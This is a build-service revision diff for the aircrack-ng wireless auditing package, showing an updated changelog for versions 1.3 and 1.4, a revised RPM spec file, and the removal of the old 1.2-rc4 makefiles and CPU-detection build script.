Packman Build Service PMBS

Changes of Revision 8

aircrack-ng.changes Changed

@@ -1,4 +1,127 @@
 -------------------------------------------------------------------
+Wed Oct 10 07:34:27 UTC 2018 - aloisio@gmx.com
+
+- Update to version 1.4
+  * Aircrack-ng: Added PMKID cracking
+  * Aircrack-ng: Serious speed up and memory usage decrease when
+    loading large files (multiple Gb) using AVL trees
+  * Aircrack-ng: Added hwloc (Hardware Locality) to improve
+    performance
+  * Aircrack-ng: Support cracking PCAP with Protected Management
+    Frames (802.11w)
+  * Aircrack-ng: Merged check_thread() and read_thread()
+  * Aircrack-ng: Allow static linking with chosen SIMD
+  * Aircrack-ng: Display AVX512F when present
+  * Airodump-ng: Added clients GPS coordinates in NetXML file
+  * Airdecap-ng: Improve decrypting/parsing speed
+  * Airmon-ng: Updated/fixed using with nexmon
+  * Airmon-ng: Better check for lspci requirement on systems
+    that don't have PCI/PCIe devices
+  * Airmon-ng: Added support for rtl8812au/8814au/rtl88xxau
+    driver
+  * Build: Fixed building with a few different architectures
+  * Build: Switch to new CI/CD tool, PyDeployer
+  * Build: Improved building on Windows (and building/testing
+    with AppVeyor)
+  * Build: Improved and tweaked CI systems (buildbots, Travis,
+    AppVeyor)
+  * Build: Support for statically linking libraries/binaries
+  * Build: Automatic development packages build for multiple
+    Linux distro and upload to PackageCloud.io
+  * Tests: Added new tests for Aircrack-ng
+  * Tests: Added new capture files
+  * Freeradius-WPE: Fixed opening log file twice
+  * General: Fixed loading PCAP on system with a different
+    endianness
+  * General: Fixed memory leaks and issues reported by static
+    analysis tools
+  * General: Fixed "error while loading shared libraries"
+  * General: Various other small improvements in the tools,
+    build system, tests and documentation
+  * General: Update FSF address
+  * General: Code formatting
+  version 1.3
+  * Aircrack-ng: Allow using Hashcat HCCAPX files as input files.
+  * Aircrack-ng: Fixed floating point exception due to division
+    by 0 when displaying stats.
+  * Aircrack-ng: Updated manpage regarding hex wordlist usage.
+  * Aircrack-ng: Added save/restore session when cracking using
+    wordlists (-N and -R).
+  * Aircrack-ng: Moved crypto to its own library,
+    aircrack-crypto/ (aka crypto engine).
+  * Aircrack-ng: Now back to a single binary thanks to
+    crypto-engine.
+  * Aircrack-ng: Performance improvements of the crypto engine
+    across various CPU architectures.
+  * Aircrack-ng: Added support for AVX512 in the crypto-engine
+    (and build).
+  * Aircrack-ng: Improved building crypto-engine across CPU
+    architectures and compilers (gcc, clang and ICC).
+  * Aircrack-ng: Allow to list available SIMD optimizations.
+  * Aircrack-ng: Improved benchmark tool for unusual CPU/cores
+    count.
+  * Airodump-ng: Fixed running in the background.
+  * Airodump-ng: Don't show WPA handshake capture notice for
+    out-of-scope ESSIDs.
+  * Airodump-ng: Add --background 0/1 to force disable/enable
+    background settings and override autodetection of background.
+  * Airodump-ng: Added support for GCMP, GCMP-256 and CCMP-256.
+  * Airolib-ng: Fixed importing data when interrupting process
+    using Ctrl-C.
+  * dcrack: Check if dictionary and capture file exists before
+    uploading them.
+  * dcrack: Clean up dictionary before uploading it to the
+    server.
+  * dcrack: Gracefully stop and display errors instead of
+    printing stacktrace whenever possible.
+  * dcrack: Move temporary user files to /tmp and cleanup when
+    done.
+  * dcrack: Fixed displaying status when no clients are
+    connected to the server.
+  * dcrack: Validate uploaded PCAP and display success/failure.
+  * dcrack: Improved removing BSSID.
+  * WPAClean: Fixed crash with invalid prism2 header PCAP and
+    added tests.
+  * WPAClean: Don't create output file if no handshake are
+    present or if input file is bad.
+  * WPAClean: Fixed memory leak.
+  * Airmon-ng: Fixed display of interface name if name is too
+    long.
+  * OSdep: Fixed memory leak and null pointer dereference.
+  * OSdep: Fixed byteorder macros and other tools crashing.
+  * OSdep: Added support to build as a shared library.
+  * FreeRADIUS-WPE: Updated instructions for v3.0.17.
+  * HostAPd-wpe: Added Response-Identity logging and displaying
+    NETNTLM hash in hashcat format.
+  * Airgraph-ng: Renamed dump-join to airodump-join.
+  * General: Added coveralls.io badge.
+  * General: Added --without-opt to disable stack protector when
+    using GCC >= 4.9
+  * General: Various improvements and fixes, some from Coverity
+    Scan and Valgrind.
+  * General: Fixed typos reported by codespell.
+  * General: Extracted console functions and moved to
+    aircrack-util/.
+  * General: Renamed osdep/ to aircrack-osdep/.
+  * General: Fixed and added functions prototypes and commented
+    out unused functions.
+  * General: Reformat source code using clang-format and added
+    .clang-format file for IDE.
+  * General: Improvements to AppVeyor and TravisCI builds
+  * Building: Added NEON intrinsic support.
+  * Building: Support paths containing spaces, during autoreconf.
+  * Building: Fix compilation without getauxval in the
+    trampoline binary.
+  * Building: Fixed compiler warnings on Windows, FreeBSD.
+  * Building: Fixes and documentation for OSX.
+  * Building: Added support for tcmalloc and jemalloc.
+  * Building: Added instruction to build Windows binaries with
+    Airpcap.
+  * Unit test: Using CMocka for some tests
+  * Documentation: Updated explanations regarding building some
+    experimental tools.
+
+-------------------------------------------------------------------
 Fri Jun 24 16:52:15 UTC 2016 - i@margueirte.su
 
 - update version 1.2-rc4

aircrack-ng.spec Changed

@@ -1,7 +1,7 @@
 #
 # spec file for package aircrack-ng
 #
-# Copyright (c) 2016 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2018 Packman Team <packman@links2linux.de>
 #
 # All modifications and additions to the file contributed by third parties
 # remain the property of their copyright owners, unless otherwise agreed
@@ -12,35 +12,35 @@
 # license that conforms to the Open Source Definition (Version 1.9)
 # published by the Open Source Initiative.
 
-# Please submit bugfixes or comments via http://bugs.opensuse.org/
+# Please submit bugfixes or comments via https://bugs.links2linux.org/
 #
 
 
-%define pkg_version 1.2-rc4
 %bcond_without unstable
 %bcond_without sqlite
 Name:           aircrack-ng
-Version:        1.2.rc4
+Version:        1.4
 Release:        0
 Summary:        A set of tools for auditing wireless networks
-License:        GPL-2.0
+License:        GPL-2.0+
 Group:          Productivity/Networking/Security
-Url:            http://www.aircrack-ng.org/
-Source0:        http://download.aircrack-ng.org/%{name}-%{pkg_version}.tar.gz
+URL:            https://www.aircrack-ng.org/
+Source0:        https://download.aircrack-ng.org/%{name}-%{version}.tar.gz
 Source1:        README.SUSE
+BuildRequires:  autoconf
+BuildRequires:  fdupes
 BuildRequires:  gcc-c++
 BuildRequires:  libgcrypt-devel
+BuildRequires:  libnl3-devel
+BuildRequires:  libpcap-devel
 BuildRequires:  libtool
-BuildRequires:  pkg-config
+BuildRequires:  pkgconfig
+%if 0%{?suse_version} >= 1500
+BuildRequires:  python-devel
+%endif
 BuildRequires:  sqlite3-devel
 BuildRequires:  zlib-devel
 Requires:       wireless-tools
-BuildRoot:      %{_tmppath}/%{name}-%{version}-build
-%if 0%{?suse_version} <= 1140
-BuildRequires:  libnl-devel
-%else
-BuildRequires:  libnl3-devel
-%endif
 
 %description
 Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that
@@ -52,51 +52,68 @@
 In fact, Aircrack-ng is a set of tools for auditing wireless networks.
 
 %prep
-%setup -q -n aircrack-ng-%{pkg_version}
+%setup -q
 find patches/ -type f -exec sed -i 's|\r||g' {} \;
 cp "%{SOURCE1}" .
+sed -i '/^docdir =/cdocdir = $(datadir)/doc/packages/@PACKAGE@' scripts/airdrop-ng/doc/Makefile.am
+sed -i '/^#!/c#!%__python' scripts/versuck-ng/versuck-ng scripts/airdrop-ng/airdrop/libOuiParse.py \
+       scripts/airgraph-ng/graphviz/libOuiParse.py
 
 %build
-CFLAGS="%{optflags} -Wall" \
-make \
-        %{?_smp_mflags} \
-        SQLITE=%{?with_sqlite:true}%{?!with_sqlite:false} \
-        EXPERIMENTAL=%{?with_unstable:true}%{?!with_unstable:false} \
-	    gcrypt=true \
-	    libnl=true \
-        prefix="%{_prefix}" \
-        libdir="%{_libdir}" \
-        docdir="%{_docdir}/%{name}"
+autoreconf -fiv
+%configure \
+%if 0%{?suse_version} >= 1500
+           --enable-asan \
+           --with-experimental=%{?with_unstable:yes --with-ext-scripts}%{?!with_unstable:no} \
+%endif
+           --enable-static=yes \
+           --enable-shared=no \
+           --with-sqlite3=%{?with_sqlite:yes}%{?!with_sqlite:no} \
+           --with-gcrypt \
+           --enable-libnl
+make %{?_smp_mflags} V=1
 
 %install
-make %{?_smp_mflags} DESTDIR=%{buildroot} install \
-        SQLITE=%{?with_sqlite:true}%{?!with_sqlite:false} \
-        EXPERIMENTAL=%{?with_unstable:true}%{?!with_unstable:false} \
-        ext_scripts=true \
-	    gcrypt=true \
-	    libnl=true \
-        sbindir="%{_sbindir}" \
-        bindir="%{_bindir}" \
-	    smandir="%{_mandir}/man8" \
-        mandir="%{_mandir}/man1" \
-        libdir="%{_libdir}" \
-        docdir="%{_docdir}/%{name}" \
-        localedir="%{_datadir}/locale" \
-        DESTDIR=%{buildroot}
+%make_install
+rm patches/old/ieee80211_inject.patch
+%if 0%{?suse_version} >= 1500
+rm -rf %{buildroot}%{python_sitelib}/aircrack-ng
+chmod 0755 %{buildroot}%{python_sitelib}/airdrop/libDumpParse.py \
+           %{buildroot}%{python_sitelib}/airdrop/libOuiParse.py \
+           %{buildroot}%{python_sitelib}/graphviz/libDumpParse.py \
+           %{buildroot}%{python_sitelib}/graphviz/libOuiParse.py
+%endif
+find %{buildroot} -type f $ -name "*.la" -o -name "*.a" $ -delete -print
 
 %files
-%defattr(-,root,root)
-%doc AUTHORS ChangeLog LICENSE LICENSE.OpenSSL README README.SUSE
+%license LICENSE LICENSE.OpenSSL
+%doc AUTHORS ChangeLog README README.SUSE
 %doc patches
 %{_bindir}/aircrack-ng
 %{_bindir}/airdecap-ng
 %{_bindir}/airdecloak-ng
+%if 0%{?suse_version} >= 1500
+%doc %{_docdir}/%{name}/Apple.sample.txt
+%doc %{_docdir}/%{name}/dropRules.conf.example
+%{_bindir}/airdrop-ng
+%{_bindir}/airgraph-ng
+%{_bindir}/airodump-join
+%{_bindir}/besside-ng-crawler
+%{_bindir}/versuck-ng
+%{_sbindir}/airventriloquist-ng
+%{_sbindir}/besside-ng
+%if %{with unstable}
+%{_bindir}/buddy-ng
+%{_sbindir}/easside-ng
+%{_sbindir}/tkiptun-ng
+%{_sbindir}/wesside-ng
+%endif
+%endif
 %{_bindir}/ivstools
 %{_bindir}/kstats
 %{_bindir}/makeivs-ng
 %{_bindir}/packetforge-ng
 %{_bindir}/wpaclean
-%{_bindir}/versuck-ng
 %{_sbindir}/airbase-ng
 %{_sbindir}/aireplay-ng
 %{_sbindir}/airmon-ng
@@ -104,17 +121,13 @@
 %{_sbindir}/airodump-ng-oui-update
 %{_sbindir}/airserv-ng
 %{_sbindir}/airtun-ng
-%{_sbindir}/besside-ng
 %if %{with sqlite}
 %{_bindir}/airolib-ng
 %endif
-%if %{with unstable}
-%{_bindir}/buddy-ng
-%{_sbindir}/easside-ng
-%{_sbindir}/tkiptun-ng
-%{_sbindir}/wesside-ng
+%{_mandir}/man1/*.1%{?ext_man}
+%{_mandir}/man8/*.8%{?ext_man}
+%if 0%{?suse_version} >= 1500
+%{python_sitelib}/*
 %endif
-%{_mandir}/man1/*.1%{ext_man}
-%{_mandir}/man8/*.8%{ext_man}
 
 %changelog

aircrack-ng-1.2-rc4.tar.gz/Makefile Deleted

@@ -1,80 +0,0 @@
-need := 3.81
-ok := $(filter $(need),$(firstword $(sort $(MAKE_VERSION) \
-	$(need))))
-
-ifndef ok
-    $(error fatal error... Need make $(need) but using $(MAKE_VERSION), please upgrade)
-endif
-
-AC_ROOT		= .
-include		$(AC_ROOT)/common.mak
-
-DOCFILES        = ChangeLog INSTALLING README LICENSE AUTHORS VERSION
-
-COVERITY_BUILD	?= cov-build
-COVERITY_DIR	= cov-int
-
-COVERITY_TAR_GZ	= Aircrack-ng.tar.gz
-COVERITY_CREDS_DIR	= coverity
-COVERITY_TOKEN	= $(shell cat ${COVERITY_CREDS_DIR}/token)
-COVERITY_EMAIL	= $(shell cat ${COVERITY_CREDS_DIR}/email)
-
-default: all
-
-all:
-	$(MAKE) -C src $(@)
-
-coverity-build:
-	$(COVERITY_BUILD) --dir $(COVERITY_DIR) $(MAKE) sqlite=true experimental=true pcre=true
-
-coverity-package: coverity-build
-	tar czvf $(COVERITY_TAR_GZ) $(COVERITY_DIR)
-
-coverity-upload: coverity-package
-	curl --form project=Aircrack-ng --form token=$(COVERITY_TOKEN) --form email=$(COVERITY_EMAIL) --form file=@$(COVERITY_TAR_GZ) --form version=r$(REVISION) --form description="Aircrack-ng svn r$(REVISION)" http://scan5.coverity.com/cgi-bin/upload.py
-
-coverity-show-creds:
-	@echo "Token: $(COVERITY_TOKEN)"
-	@echo "Email: $(COVERITY_EMAIL)"
-
-aircrack-ng-opt-prof_gen: all
-	mkdir -p prof
-	$(MAKE) -C src $(@)
-
-aircrack-ng-opt-prof_use:
-	$(MAKE) -C src $(@)
-
-install: all
-	$(MAKE) -C src $(@)
-	$(MAKE) -C scripts $(@)
-	$(MAKE) -C manpages $(@)
-	@echo " "
-	@echo "[*] Run 'airodump-ng-oui-update' as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required)."
-
-uninstall:
-	$(MAKE) -C src $(@)
-	-rm -fr $(DESTDIR)$(docdir)
-	$(MAKE) -C manpages $(@)
-	$(MAKE) -C scripts $(@)
-
-strip:
-	$(MAKE) -C src $(@)
-
-doc:
-	install -d $(DESTDIR)$(docdir)
-	install -m 644 $(DOCFILES) $(DESTDIR)$(docdir)
-
-clean:
-	-rm -rf $(COVERITY_DIR)
-	-rm -f common.cfg
-	$(MAKE) -C src $(@)
-	$(MAKE) -C test/cryptounittest $(@)
-	$(MAKE) -C test $(@)
-
-distclean: clean
-
-check: 
-	$(MAKE) -C src $(@)
-	$(MAKE) -C test/cryptounittest $(@)
-	$(MAKE) -C test $(@)
-

aircrack-ng-1.2-rc4.tar.gz/autocfg Deleted

@@ -1,210 +0,0 @@
-#!/bin/sh
-#
-# aircrack-ng build config generation script by Len White <lwhite@nrw.ca>
-#
-# The purpose of this is to generate a file to be included by common.mak that defines
-# compile time configuration, granting us more flexibility in tests and speeding build process
-# by not running the tests every time we compile a single file.
-#
-# NOTES: * common.cfg is automatically regenerated on make clean
-#        * common.cfg is NOT required to build aircrack, but is required for autoconfiguration of the new crypto cores.
-#
-
-CC=$1
-IS_X86=0
-IS_ARM=0
-IS_CROSS=0
-SIMDSIZE=0
-SIMDFLAG=""
-
-if [ ! $1 ]; then
-	echo "Usage: $0 <compiler> [cfgpath]"
-	exit 127
-fi
-
-if [ ! $2 ]; then
-	CURDIR=$(pwd)
-else
-	CURDIR=$2
-fi
-
-CFGFILE="${CURDIR}/common.cfg"
-
-clean_exit () {
-	if [ -n "$tmpdir" ]; then
-		if [ -d "${tmpdir}" ]; then
-			rm -rf "${tmpdir}"
-		fi
-	fi
-}
-
-if [ "$(uname -s)" = 'OpenBSD' ]; then
-	OPENBSD=1
-	trap clean_exit EXIT
-else
-	trap clean_exit SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT
-fi
-
-# $1 flag $2 variable
-test_compile_flag () {
-	FLAGTEST=$(echo | $CC -fsyntax-only ${1} -xc -Werror - 2>/dev/null && echo Y)
-
-	if [ "$FLAGTEST" = "Y" ] && [ $2 ]; then
-		echo "${2}=${FLAGTEST}" >> $CFGFILE
-	fi
-}
-
-test_header_file () {
-	if [ -f "$1" ]; then
-		echo "${2}=Y" >> $CFGFILE
-	fi
-}
-
-cpuid_test () {
-	tmpdir="$(mktemp -d -t acng.XXXX)"
-
-cat >${tmpdir}/cpuidtest.c <<EOF
-#include <cpuid.h>
-#include <stdio.h>
-int main() {
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-
-	if (max_level >= 7) {
-		__cpuid_count(7, 0, eax, ebx, ecx, edx);
-
-		if (ebx & (1 << 5)) // AVX2
-			return 16;
-	}
-
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	if (ecx & (1 << 28)) // AVX1
-		return 8;
-
-	if (edx & (1 << 26)) // SSE2
-		return 4;
-
-	return 1;
-}
-EOF
-
-	$($CC -o ${tmpdir}/cpuidtest ${tmpdir}/cpuidtest.c 2>/dev/null)
-
-	if [ -x "${tmpdir}/cpuidtest" ]; then
-		${tmpdir}/cpuidtest
-
-		SIMDSIZE=$?
-	fi
-
-	if [ $SIMDSIZE -gt 0 ]; then
-		case $SIMDSIZE in
-			16)
-				SIMDTYPE="AVX2"
-			;;
-			8)
-				SIMDTYPE="AVX"
-			;;
-			4)
-				SIMDTYPE="SSE2"
-			;;
-			1)
-				SIMDTYPE="MMX"
-			;;
-		esac
-	fi
-}
-
-case "$CC" in
-	mips-* | arm-*)
-		IS_CROSS=1
-		IS_X86=0
-	;;
-	*);;
-esac
-
-UARCH=$(uname -m)
-
-case "$UARCH" in
-	x86_64 | amd64 | i*86*)
-		IS_X86=1
-	;;
-	*arm*)
-		IS_ARM=1
-	;;
-	*mips*)
-		IS_CROSS=1
-	;;
-	*)
-	;;
-esac
-
-if [ $IS_X86 = 1 ]; then
-	cpuid_test
-
-	if [ $SIMDSIZE -gt 0 ]; then
-		if [ $SIMDSIZE = 16 ]; then
-			test_compile_flag -mavx2
-
-			if [ "$FLAGTEST" = "Y" ]; then
-				echo "AVX2FLAG=Y" > $CFGFILE
-			fi
-
-			echo "SIMDCORE=true" >> $CFGFILE
-		elif [ $SIMDSIZE = 8 ]; then
-			test_compile_flag -mavx
-
-			if [ "$FLAGTEST" = "Y" ]; then
-				echo "AVX1FLAG=Y" > $CFGFILE
-			fi
-
-			echo "SIMDCORE=true" >> $CFGFILE
-		elif [ $SIMDSIZE = 4 ]; then
-			test_compile_flag -msse2
-
-			if [ "$FLAGTEST" = "Y" ]; then
-				echo "SSEFLAG=Y" > $CFGFILE
-			fi
-		fi
-	fi
-
-	if [ ! $OPENBSD ]; then
-		test_compile_flag -masm=intel INTEL_ASM
-	fi
-elif [ $IS_ARM = 1 ]; then
-	>$CFGFILE
-
-	if [ -f "/proc/cpuinfo" ]; then
-		NEON_FLAG=$(grep -c neon /proc/cpuinfo)
-
-		if [ $NEON_FLAG -eq 1 ]; then
-			test_compile_flag -mfpu=neon HAS_NEON
-
-			if [ "$FLAGTEST" = "Y" ]; then
-				echo "SIMDCORE=true" >>$CFGFILE
-			else
-				IS_CROSS=1
-			fi
-		else
-			IS_CROSS=1
-		fi
-	else
-		IS_CROSS=1
-	fi
-fi
-
-test_compile_flag -pthread PTHREAD
-
-if [ $IS_X86 -eq 0 ]; then
-	# If we're on non-x86 platform, we need to check for auxv for cpuid since it's broken on some debian vers
-	test_header_file sys/auxv.h HAS_AUXV
-fi
-
-if [ $IS_CROSS -eq 1 ]; then
-	echo "NEWSSE=false" >>$CFGFILE
-fi
-
-# If we fall thru all the tests and still haven't created a config, create an empty one.
-if [ ! -f "$CFGFILE" ]; then
-	echo >$CFGFILE
-fi

aircrack-ng-1.2-rc4.tar.gz/common.mak Deleted

@@ -1,251 +0,0 @@
-PKG_CONFIG ?= pkg-config
-
-NEWSSE		= true
-# Newer version of the core can be enabled via SIMDCORE
-# but should be automatically flipped on thru autodetection
-SIMDCORE	= false
-
-# Multibin will compile a seperate binary for each core: original, SSE and SIMD.
-MULTIBIN	= false
-
-ifndef TOOL_PREFIX
-TOOL_PREFIX	=
-endif
-ifndef OSNAME
-OSNAME		:= $(shell uname -s | sed -e 's/.*CYGWIN.*/cygwin/g' -e 's,/,-,g')
-endif
-ifndef SQLITE
-SQLITE		= false
-endif
-
-ifndef LIBAIRPCAP
-LIBAIRPCAP	=
-endif
-
-ifeq ($(OSNAME), cygwin)
-EXE		= .exe
-PIC		=
-SQLITE		= false
-else
-EXE		=
-ifeq ($(OSNAME), SunOS)
-PIC		=
-LDFLAGS		+= -lsocket -lnsl
-else
-PIC		= -fPIC
-endif
-ifndef SQLITE
-SQLITE		= true
-endif
-endif
-
-COMMON_CFLAGS	=
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(xcode) $(XCODE))),true)
-	COMMON_CFLAGS	+= -I/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/swift-migrator/sdk/MacOSX.sdk/usr/include/ -D_XCODE -I../..
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(macport) $(MACPORT))),true)
-	COMMON_CFLAGS	+= -I/opt/local/include -I../..
-	LDFLAGS		+= -L/opt/local/lib
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true)
-	COMMON_CFLAGS	+= -DHAVE_SQLITE
-endif
-
-ifeq ($(pcre), true)
-PCRE            = true
-endif
-
-ifeq ($(PCRE), true)
-COMMON_CFLAGS += $(shell $(PKG_CONFIG) --cflags libpcre) -DHAVE_PCRE
-endif
-
-ifeq ($(OSNAME), cygwin)
-	COMMON_CFLAGS   += -DCYGWIN
-endif
-
-ifeq ($(OSNAME), Linux)
-	ifneq ($(libnl), false)
-		NL3xFOUND := $(shell $(PKG_CONFIG) --atleast-version=3.2 libnl-3.0 && echo Y)
-		ifneq ($(NL3xFOUND),Y)
-			NL31FOUND := $(shell $(PKG_CONFIG) --exact-version=3.1 libnl-3.1 && echo Y)
-			ifneq ($(NL31FOUND),Y)
-				NL3FOUND := $(shell $(PKG_CONFIG) --atleast-version=3 libnl-3.0 && echo Y)
-			endif
-			ifneq ($(NL3FOUND),Y)
-				NL1FOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-1 && echo Y)
-			endif
-			ifneq ($(NL1FOUND),Y)
-				NLTFOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-tiny && echo Y)
-			endif
-		endif
-
-
-		ifeq ($(NL1FOUND),Y)
-			NLLIBNAME = libnl-1
-			COMMON_CFLAGS += -DCONFIG_LIBNL
-		endif
-
-		ifeq ($(NLTFOUND),Y)
-			NLLIBNAME = libnl-tiny
-			COMMON_CFLAGS += -DCONFIG_LIBNL -DCONFIG_LIBNL20
-		endif
-
-		ifeq ($(NL3xFOUND),Y)
-			COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL
-			LIBS += -lnl-genl-3
-			NLLIBNAME = libnl-3.0
-		endif
-
-		ifeq ($(NL3FOUND),Y)
-			COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL
-			LIBS += -lnl-genl
-			NLLIBNAME = libnl-3.0
-		endif
-
-		# nl-3.1 has a broken libnl-gnl-3.1.pc file
-		# as show by pkg-config --debug --libs --cflags --exact-version=3.1 libnl-genl-3.1;echo $?
-		ifeq ($(NL31FOUND),Y)
-			COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL
-			LIBS += -lnl-genl
-			NLLIBNAME = libnl-3.1
-		endif
-
-		NLLIBNAME ?= $(error Cannot find development files for any supported version of libnl. install either libnl1 or libnl3.)
-
-		LIBS += $(shell $(PKG_CONFIG) --libs $(NLLIBNAME))
-		COMMON_CFLAGS +=$(shell $(PKG_CONFIG) --cflags $(NLLIBNAME))
-		COMMON_CFLAGS := $(COMMON_CFLAGS)
-	endif
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true)
-	LIBAIRPCAP = -DHAVE_AIRPCAP -I$(AC_ROOT)/../developers/Airpcap_Devpack/include
-endif
-
-ifneq ($(origin CC),environment)
-ifeq ($(OSNAME), FreeBSD)
-	CC	= $(TOOL_PREFIX)cc
-	CXX	= $(TOOL_PREFIX)c++
-else
-	CC	= $(TOOL_PREFIX)gcc
-	CXX	= $(TOOL_PREFIX)g++
-endif
-endif
-
-# This is for autodetection of processor features in the new crypto cores.
--include	$(AC_ROOT)/common.cfg
-
-RANLIB		?= $(TOOL_PREFIX)ranlib
-ifneq ($(origin AR),environment)
-	AR	= $(TOOL_PREFIX)ar
-endif
-
-REVISION	= $(shell $(AC_ROOT)/evalrev $(AC_ROOT))
-REVFLAGS	?= -D_REVISION=$(REVISION)
-
-OPTFLAGS	= -D_FILE_OFFSET_BITS=64
-CFLAGS		?= -g -W -Wall -O3 
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(icc) $(ICC))),true)
-	ICCMODE	= Y
-	CC	= icc
-	CXX	= icpc
-	AR	= xiar
-	CFLAGS	+= -no-prec-div
-endif
-
-# If we're building multibin make sure simd is disabled
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(multibin) $(MULTIBIN))),true)
-	SIMDCORE = false
-endif
-
-ifeq ($(HAS_NEON), Y)
-	CFLAGS	+= -mfpu=neon
-endif
-
-ifeq ($(subst FALSE,false,$(filter FALSE false,$(newsse) $(NEWSSE))),false)
-	CFLAGS  += -DOLD_SSE_CORE=1
-else
-ifeq ($(AVX2FLAG), Y)
-ifeq ($(ICCMODE), Y)
-	CFLAGS	+= -march=core-avx2 -DJOHN_AVX2
-else
-	CFLAGS	+= -mavx2 -DJOHN_AVX2
-endif
-else
-ifeq ($(AVX1FLAG), Y)
-ifeq ($(ICCMODE), Y)
-	CFLAGS	+= -march=corei7-avx -DJOHN_AVX
-else
-	CFLAGS	+= -mavx -DJOHN_AVX
-endif
-else
-ifeq ($(SSEFLAG), Y)
-ifeq ($(ICCMODE), Y)
-	CFLAGS	+= -march=corei7
-else
-	CFLAGS  += -msse2
-endif
-endif
-endif # AVX1FLAG
-endif # AVX2FLAG
-endif # NEWSSE
-
-ifeq ($(INTEL_ASM), Y)
-	ASMFLAG	= -masm=intel
-endif
-
-# This will enable -D_REENTRANT if compatible so we have thread-safe functions available to us via -pthread.
-ifeq ($(PTHREAD), Y)
-	CFLAGS	+= -pthread
-endif
-
-CXXFLAGS	= $(CFLAGS) $(ASMFLAG) -fdata-sections -ffunction-sections
-
-CFLAGS          += $(OPTFLAGS) $(REVFLAGS) $(COMMON_CFLAGS)
-
-prefix          = /usr/local
-bindir          = $(prefix)/bin
-sbindir         = $(prefix)/sbin
-mandir          = $(prefix)/share/man/man1
-smandir         = $(prefix)/share/man/man8
-datadir         = $(prefix)/share
-docdir          = $(datadir)/doc/aircrack-ng
-libdir		= $(prefix)/lib
-etcdir		= $(prefix)/etc/aircrack-ng
-
-ifneq ($(ICCMODE), Y)
-GCC_OVER41	= $(shell expr 41 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`)
-GCC_OVER45	= $(shell expr 45 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`)
-GCC_OVER49	= $(shell expr 49 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`)
-ifeq ($(GCC_OVER41), 0)
-	GCC_OVER41	= $(shell expr 4.1 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`)
-endif
-ifeq ($(GCC_OVER45), 0)
-	GCC_OVER45	= $(shell expr 4.5 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`)
-endif
-ifeq ($(GCC_OVER49), 0)
-	GCC_OVER49	= $(shell expr 4.9 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`)
-endif
-
-ifeq ($(GCC_OVER49), 0)
-	ifeq ($(GCC_OVER41), 1)
-		COMMON_CFLAGS += -fstack-protector
-	endif
-endif
-
-ifeq ($(GCC_OVER49), 1)
-	COMMON_CFLAGS += -fstack-protector-strong
-endif
-
-ifeq ($(GCC_OVER45), 1)
-	CFLAGS		+= -Wno-unused-but-set-variable -Wno-array-bounds
-endif
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(duma) $(DUMA))),true)
-	LIBS += -lduma
-endif

aircrack-ng-1.2-rc4.tar.gz/manpages/Makefile Deleted

@@ -1,38 +0,0 @@
-AC_ROOT		= ..
-include		$(AC_ROOT)/common.mak
-
-MP_FILES	= aircrack-ng.1 airdecap-ng.1 ivstools.1 kstats.1 makeivs-ng.1 \
-		  packetforge-ng.1 airdecloak-ng.1 wpaclean.1 besside-ng-crawler.1
-
-SMP_FILES	= aireplay-ng.8 airmon-ng.8 airodump-ng.8 besside-ng.8 \
-		  airserv-ng.8 airtun-ng.8 airbase-ng.8 airodump-ng-oui-update.8 \
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true)
-	MP_FILES += airolib-ng.1
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(experimental) $(EXPERIMENTAL))),true)
-	MP_FILES  += buddy-ng.1
-	SMP_FILES += tkiptun-ng.8 easside-ng.8 wesside-ng.8
-endif
-
-
-default: all
-
-all:
-	@echo Nothing to do
-
-install: uninstall
-	install -d $(DESTDIR)$(mandir)
-	install -d $(DESTDIR)$(smandir)
-	install -m 644 $(MP_FILES) $(DESTDIR)$(mandir)
-	install -m 644 $(SMP_FILES) $(DESTDIR)$(smandir)
-
-# Uninstall just calls cleanfiles with all possible switches enabled to
-# ensure all previously installed manpages are cleaned
-uninstall:
-	$(MAKE) cleanfiles sqlite=true experimental=true
-
-cleanfiles:
-	@-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); )
-	@-$(foreach CUR_SMP,$(SMP_FILES), rm -f $(DESTDIR)$(smandir)/$(CUR_SMP); echo rm -f $(DESTDIR)$(smandir)/$(CUR_SMP); )

aircrack-ng-1.2-rc4.tar.gz/packages Deleted

aircrack-ng-1.2-rc4.tar.gz/packages/PKGBUILD Deleted

aircrack-ng-1.2-rc4.tar.gz/packages/aircrack-ng.spec Deleted

@@ -1,151 +0,0 @@
-%define _rel final
-
-# these bits are constant across distributions
-#
-Name:           aircrack-ng
-Version:        1.2-rc2
-Summary:        Reliable 802.11 (wireless) sniffer and WEP/WPA-PSK key cracker
-License:        GPL
-Source:         http://dl.aircrack-ng.org/%{name}-%{version}.tar.gz
